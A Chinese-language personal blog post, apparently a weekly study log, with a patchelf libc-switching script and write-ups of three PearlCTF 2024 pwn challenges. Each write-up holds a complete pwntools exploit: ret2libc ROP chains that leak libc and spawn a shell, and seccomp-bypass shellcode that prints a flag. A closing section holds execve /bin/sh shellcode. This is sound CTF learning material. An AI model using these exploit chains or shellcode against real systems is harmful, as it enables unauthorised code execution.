24-03-10

本周学习总结

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、更方便的设置题目的libc

需要提前准备好patchelf和glibc-all-in-one。

通过linux支持的sh脚本来创建一个全局可调用的可交互且方便的设置题目libc的方法。

在使用这个脚本之前你需要对脚本的路径做出合适的修改,默认应该将glibc-all-in-one放在当前用户的家目录下,如果是root用户就需要将/home/你的用户名/改为/root/

1
2
3
4
5
6
7
#!/bin/bash
echo "Available ld versions in /home/你的用户名/glibc-all-in-one/libs:"
ls /home/你的用户名/glibc-all-in-one/libs
read -p "Enter ld version (e.g. 2.35-0ubuntu3_amd64): " ld_version
read -p "Enter binary path (e.g. ./bin): " binary_path
patchelf --set-interpreter "/home/你的用户名/glibc-all-in-one/libs/${ld_version}/ld-linux-x86-64.so.2" "${binary_path}"
patchelf --set-rpath "/home/你的用户名/glibc-all-in-one/libs/${ld_version}/" "${binary_path}"

对脚本完成编辑保存后为脚本添加可执行权限:

sudo chmod +x 你的脚本名

将脚本移动到 /usr/local/bin/目录下就可以在全局调用此脚本了。

二、[Easy]–[Pearlctf2024]adventure

下载得到文件adventure

check!

只开了NX保护。

ida,启动!

该程序是一个文字冒险游戏,篇幅长,这里直接展示漏洞点:

gets无限溢出,构造两次ROP来暴露libc地址和跳转执行流执行system就可以了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# p = remote("dyn.ctf.pearlctf.in", 30014)
p = process("./adventure")
elf = ELF("./adventure")

sela(b"choice: ", stre(2))
sela(b"2. No\n", stre(1))

pop_rdi = 0x40121e
main_addr = 0x401702

payload = b"A" * 0x28 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main_addr)

sela(b"name\n", payload)
rel()
rel()

puts_real = raddr64()
ph(puts_real, "puts_real")
rel()

libc_base = puts_real - 0x084ed0
ph(libc_base, "libc_base")

sys_addr = libc_base + 0x054d60
bin_addr = libc_base + 0x1dc698

sela(b"choice: ", stre(2))
sela(b"2. No\n", stre(1))

ret = 0x40101a
payload = b"A" * 0x28 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
sela(b"name\n", payload)
op()

远程环境关闭。。。

三、[Easy]–[Pearlctf2024]goingBack

下载得到文件goingBack

check!

只开启了NX。

ida,启动!

程序似乎是一个旅游表格生成系统,篇幅长,这里直接展示漏洞:

这里有个gets无限溢出,这题和adventure不一样的地方在于他不能让执行流返回到main,我们可以选择返回到start。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("dyn.ctf.pearlctf.in", 30011)
# p = process("./goingBack")
elf = ELF("./goingBack")

main_addr = 0x401343
pop_rdi = 0x401265
ret = 0x40101a

payload = b"zlsf"
sela(b"First Name: ", payload)
sela(b"Last Name: ", b"zlsf")
sela(b"Age: ", stre(18))
sela(b"Bangalore\n", b"Bangalore")
sela(b"(1/0): ", stre(1))
sela(b"5:", stre(1))

payload = b"A" * 0x28 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x401130)
sela(b"experience\n", payload)

puts_real = raddr64()
ph(puts_real, "puts_real")

libc_base = puts_real - 0x084ed0
ph(libc_base, "libc_base")

sys_addr = libc_base + 0x054d60
bin_addr = libc_base + 0x1dc698

payload = b"zlsf"
sela(b"First Name: ", payload)
sela(b"Last Name: ", b"zlsf")
sela(b"Age: ", stre(18))
sela(b"Bangalore\n", b"Bangalore")
sela(b"(1/0): ", stre(1))
sela(b"5:", stre(1))

payload = b"A" * 0x28 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
sela(b"experience\n", payload)
op()

远程环境关闭。。。

四、[Easy]–[Pearlctf2024]flag-finder

下载得到文件flag-finder

Check!

NX开启。

ida,启动!

main:

sub_4012FD:

沙盒规则:

只允许使用write。

代码似乎略有一点复杂,我们现在大概只知道程序读取了flag到内存当中,且程序中有两段可执行内存。

我们尝试使用gdb分析程序功能:

在程序流跳转到我们可控的可执行内存地址时,此时flag在rsp+0x18的位置,我们考虑在shellcode中将rsp向上移动0x18,如何通过调用write将flag输出。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# p = remote("dyn.ctf.pearlctf.in", 30012)
p = process("./flag-finder")
# elf = ELF("./pwn")

payload = asm('''
add rsp, 0x18
mov rdi, 1
mov rsi, rsp
mov rdx, 0x30
mov rax, 1
syscall
''')
print(hex(len(payload)))
# gdbp(p)

sela(b"plan?\n > ", payload)
op()

远程环境关闭。。。

下周学习计划

| 应该要做的事情 |

向深推进堆攻击

学习感受

1
2
3
4
5
6
7
8
9
10
11
12
13
mov rbx, 0x68732f6e69622f

push rbx

mov rdi, rsp

xor rsi, rsi

xor rdx, rdx

mov rax, 59

syscall

24-03-10
https://zlsf-zl.github.io/2024/03/10/3-10-3-17/
作者
ZLSF
发布于
2024年3月10日
许可协议